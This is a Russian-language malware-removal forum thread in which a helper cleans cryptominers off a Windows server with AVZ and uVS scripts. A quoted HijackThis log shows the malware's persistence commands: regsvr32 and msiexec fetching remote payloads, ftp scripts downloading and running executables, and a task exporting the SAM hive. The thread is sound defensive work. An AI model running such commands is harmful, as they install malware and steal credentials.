опять биткоин майнеры [not-a-virus:RiskTool.Win32.Agent.aouh, not-a-virus:RiskTool.Win32.Agent.amrp ]

**katter** · 19.09.2017, 08:20

виндовс 2008, расплодились биткоин майнеры, жрут проц
антивирус дрвеб для серверов их благополучно игнорирует ... ТТ
помогите пожалуйста

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 19.09.2017, 08:21

Уважаемый(ая) katter, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**regist** · 20.09.2017, 12:43

Здравствуйте!

- Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.

Закройте все программы

Отключите
- ПК от интернета/локалки.
- Антивирус и Файрвол

Выполните скрипт в АВЗ -

Код:

begin
 ClearQuarantineEx(true);
 TerminateProcessByName('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe');
 TerminateProcessByName('c:\windows\fonts\svchost.exe');
 TerminateProcessByName('c:\windows\fonts\xmrig.exe');
 TerminateProcessByName('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe');
 TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe');
 TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe');
 TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe');
 TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe');
 TerminateProcessByName('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe');
 TerminateProcessByName('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe');
 StopService('NGEN');
 StopService('spoolsrvrs');
 StopService('wcvvses');
 StopService('werlsfks');
 StopService('wscsvs');
 QuarantineFile('C:\~SAMIns.TMP', '');
 QuarantineFile('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe', '');
 QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '');
 QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '');
 QuarantineFile('c:\windows\fonts\svchost.exe', '');
 QuarantineFile('c:\windows\fonts\xmrig.exe', '');
 QuarantineFile('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe', '');
 QuarantineFile('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe', '');
 QuarantineFile('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe', '');
 QuarantineFile('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe', '');
 QuarantineFile('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe', '');
 QuarantineFile('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe', '');
 QuarantineFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe', '');
 QuarantineFileF('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
 QuarantineFileF('c:\windows\inf\axperflib', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
 QuarantineFileF('c:\windows\inf\netlibrariestip', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0 , 0);
 DeleteFile('c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe', '32');
 DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '32');
 DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '32');
 DeleteFile('c:\windows\fonts\svchost.exe', '32');
 DeleteFile('c:\windows\fonts\xmrig.exe', '32');
 DeleteFile('c:\windows\inf\.netframework3.5sp1\0009\v1.1.4322\asp.netwebadminfiles\app_localresources\ctfmon.exe', '32');
 DeleteFile('c:\windows\inf\axperflib\0010\0011\000a\0010\mms.exe', '32');
 DeleteFile('c:\windows\inf\axperflib\0010\0011\000a\0010\vmms.exe', '32');
 DeleteFile('c:\windows\inf\axperflib\0010\0011\000e\0015\mms.exe', '32');
 DeleteFile('c:\windows\inf\axperflib\0010\0011\000e\0015\taskhostex.exe', '32');
 DeleteFile('c:\windows\inf\axperflib\0010\0011\0015\0016\axperflib\spsvc.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wahiver.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\wasp.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\0009\v3.5.56385\1049\5.0\waspwing.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\mms.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\1049\5.0\spoolsv.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\lsm.exe', '32');
 DeleteFile('c:\windows\inf\netlibrariestip\000d\1049\5.0\sql\ssms.exe', '32');
 ExecuteFile('schtasks.exe', '/delete /TN "WindowsControlParental" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "MsMonitor" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "Net" /F', 0, 15000, true);
 DeleteService('ddns');
 DeleteService('NGEN');
 DeleteService('spoolsrvrs');
 DeleteService('wcvvses');
 DeleteService('werlsfks');
 DeleteService('wscsvs');
 DeleteFileMask('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}', '*', true);
 DeleteFileMask('c:\windows\inf\axperflib', '*', true);
 DeleteFileMask('c:\windows\inf\netlibrariestip', '*', true);
 DeleteDirectory('c:\windows\fonts\.{2e095dd0-af56-47e4-a099-eac038decc24}');
 DeleteDirectory('c:\windows\inf\axperflib');
 DeleteDirectory('c:\windows\inf\netlibrariestip');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start', 'command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start1', 'command');
 RegKeyParamDel('HKEY_USERS', '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
 RegKeyParamDel('HKEY_USERS', 'S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteRepair(9);
 ExecuteWizard('SCU', 2, 3, true);
end.

После выполнения скрипта компьютер перезагрузите вручную.

Файл quarantine.zip из папки AVZ загрузите по ссылке "Прислать запрошенный карантин" вверху темы.

- Сделайте повторные логи по правилам. Для повторной диагностики запустите снова Autologger. В первом диалоговом окне нажмите ОК, удерживая нажатой клавишу Shift.

- - - - -Добавлено - - - - -

+

Код:

C:\~SAMIns.TMP

вам знаком?

**katter** · 22.09.2017, 11:56

нет не знаком -_-

карантины загрузил

спасибо ~_~

я думал поставил антивирус и проблема предотвращена, ан нет...

**regist** · 22.09.2017, 21:13

Сообщение от regist

- Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.

где ссылка на отчёт?!

**katter** · 23.09.2017, 17:57

https://virusinfo.info/virusdetector...51455AEDD388F2

**regist** · 24.09.2017, 09:35

Здравствуйте!

Закройте все программы

Отключите
- ПК от интернета/локалки.
- Антивирус и Файрвол

Выполните скрипт в АВЗ -

Код:

begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 ClearQuarantineEx(true);
 StopService('ddns');
 QuarantineFile('C:\~SAMIns.TMP', '');
 QuarantineFile('C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v2.5\services.exe', '');
 QuarantineFile('c:\windows\debug\ok.dat', '');
 QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '');
 QuarantineFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '');
 QuarantineFile('c:\windows\help\lsmosee.exe', '');
 QuarantineFile('C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe', '');
 QuarantineFileF('C:\Program Files (x86)\YiuAskU2\', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
 QuarantineFileF('C:\Program Files (x86)\YubeAlckU', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.ps1, *.js*, *.tmp*', true, '', 0, 0);
 DeleteFile('C:\~SAMIns.TMP', '32');
 DeleteFile('C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v2.5\services.exe', '32');
 DeleteFile('c:\windows\debug\ok.dat');
 DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\vs.vbs', '32');
 DeleteFile('C:\Windows\Fonts\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\jws.vbs', '32');
 DeleteFile('c:\windows\help\lsmosee.exe');
 DeleteFile('C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe', '32');
 ExecuteFile('schtasks.exe', '/delete /TN "At1" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "MsMonitor" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "WindowsControlParental" /F', 0, 15000, true);
 DeleteService('ddns');
 DeleteFileMask('C:\Program Files (x86)\YiuAskU2\', '*', true);
 DeleteFileMask('C:\Program Files (x86)\YubeAlckU', '*', true);
 DeleteDirectory('C:\Program Files (x86)\YiuAskU2\');
 DeleteDirectory('C:\Program Files (x86)\YubeAlckU');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start', 'command');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\start1', 'command');
 RegKeyParamDel('HKEY_USERS', '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run', 'CTFMON.EXE');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
end.

После выполнения скрипта компьютер перезагрузите вручную.

Файл quarantine.zip из папки AVZ загрузите по ссылке "Прислать запрошенный карантин" вверху темы.

Профиксите в HijackThis из папки ..\AutoLogger\HiJackThis

Код:

O4 - MSConfig\startupreg: [start1] C:\Windows\system32\msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q (HKLM) (2017/09/19)
O4 - MSConfig\startupreg: [start] C:\Windows\system32\regsvr32.exe /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll (HKLM) (2017/09/19)
O22 - Task (Ready): 2C6A44CB-AD42-4731-A544-3FBD3D83AB5B2 - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YiuAskU\871uEsd.dll",#1
O22 - Task (Ready): At1 - C:\Windows\regedit.exe /E /A "C:\~SAMIns.TMP" "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account"
O22 - Task (Ready): CheckControllerUpdatesUA - C:\Program Files (x86)\Smart Application Controller\smappscontroller.exe -checkfornewversion (file missing)
O22 - Task (Ready): E3605470-291B-44EB-8648-745EE356599A2 - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YubeAlckU\4EDjuWn.dll",#1
O22 - Task (Ready): Mysa2 - C:\Windows\system32\cmd.exe /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
O22 - Task (Ready): U2_2C6A44CB-AD42-4731-A544-3FBD3D83AB5B - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\YiuAskU2\BY4cTSU.dll",#1
O22 - Task (Ready): \Microsoft\Windows\Web\Net - C:\Windows\inf\.NETFramework3.5SP1\0009\v1.1.4322\ASP.NETWebAdminFiles\App_LocalResources\ctfmon.exe (file missing)
O22 - Task (Running): Mysa1 - C:\Windows\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
O22 - Task (Running): Mysa3 - C:\Windows\system32\cmd.exe /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
O22 - Task (Running): ok - C:\Windows\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa

Сделайте полный образ автозапуска uVS, только программу скачайте отсюда.

PS. у вас там целый зоопарк разной заразы.

**katter** · 25.09.2017, 10:17

загрузил карантин, вот файл автозапуска

**regist** · 26.09.2017, 22:06

1) Выполните скрипт в uVS

Код:

;uVS v4.0.10 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v400c
BREG
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.33.3\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\LITEMANAGER PRO - SERVER\ROMSERVER.EXE
delref %SystemDrive%\USERS\АДМИНИСТРАТОР\APPDATA\LOCAL\TEMP\1\V8_10E1_C.TMP
delref %SystemDrive%\USERS\ГОСТЬ\APPDATA\LOCAL\TEMP\2\V8_2FD0_A.TMP
zoo %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\VS.VBS
delall %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A097-EAC038DECC94}\VS.VBS
zoo %SystemDrive%\PROGRAM FILES (X86)\YIUASKU\871UESD.DLL
delall %SystemDrive%\PROGRAM FILES (X86)\YIUASKU\871UESD.DLL
delref HTTPS://NEWTAB.CLUB
delref PS&AMP;C:\WINDOWS\HELP\LSMOSEE.EXE
zoo %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\JWS.VBS
delall %SystemRoot%\FONTS\.{2E095DD0-AF56-47E4-A099-EAC038DECC24}\JWS.VBS
delref S.RAR
zoo %SystemRoot%\DEBUG\LSMOSE.EXE
bl 5217A3B8173ABCCA370581536BF58754 3023872
addsgn 9A274378E182D11E0AD4C8F0930F833F6D0B11F089FA1FAB652A0B8052D639C74F32C3162491164F6301429B4616490294F88C77550EF216FC2FAC8F0E27E6E7 8 Win64/CoinMiner.ET [ESET-NOD32] 7

chklst
delvir

czoo
restart

2) Программы/расширения от Mail.ru используете?

3)

Скачайте AdwCleaner и сохраните его на Рабочем столе.
Запустите его (в ОС Vista/Windows 7/8 необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[S0].txt.
Прикрепите отчет к своему следующему сообщению.

**katter** · 27.09.2017, 11:01

1)выполнил

2)нет

3)выполнил

**regist** · 28.09.2017, 10:39

Запустите повторно AdwCleaner (в ОС Vista/Windows 7/8 необходимо запускать через правую кн. мыши от имени администратора).
В меню Tools ->Options (Инструменты ->Настройки) отметьте:
- Сброс политик IE
- Сброс политик Chrome
Нажмите кнопку "Scan" ("Сканировать"), а по окончанию сканирования нажмите кнопку "Cleaning" ("Очистка") и дождитесь окончания удаления.
Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\AdwCleaner[C0].txt.
Прикрепите отчет к своему следующему сообщению

Внимание: Для успешного удаления нужна перезагрузка компьютера!!!.

**CyberHelper** · 28.09.2017, 10:49

Статистика проведенного лечения:

Получено карантинов: 3
Обработано файлов: 529
В ходе лечения обнаружены вредоносные программы:
1. c:\program files (x86)\msbuild\microsoft\windows workflow foundation\v2.5\services.exe - UDS:DangerousObject.Multi.Generic ( BitDefender: Trojan.Generic.12220889 )
2. c:\windows\fonts\xmrig.exe - not-a-virus:HEUR:RiskTool.Win32.BitCoinMiner.gen
3. c:\windows\inf\netlibrariestip\0009\v3.5.56385\104 9\5.0\wahiver.exe - not-a-virus:RiskTool.Win32.Agent.aouh
4. c:\windows\inf\netlibrariestip\0009\v3.5.56385\104 9\5.0\wasp.exe - not-a-virus:RiskTool.Win32.Agent.amrp
5. c:\windows\inf\netlibrariestip\0009\v3.5.56385\104 9\5.0\waspwing.exe - not-a-virus:RiskTool.Win32.Agent.amrm

опять биткоин майнеры [not-a-virus:RiskTool.Win32.Agent.aouh, not-a-virus:RiskTool.Win32.Agent.amrp ] (заявка № 215321)

Опции темы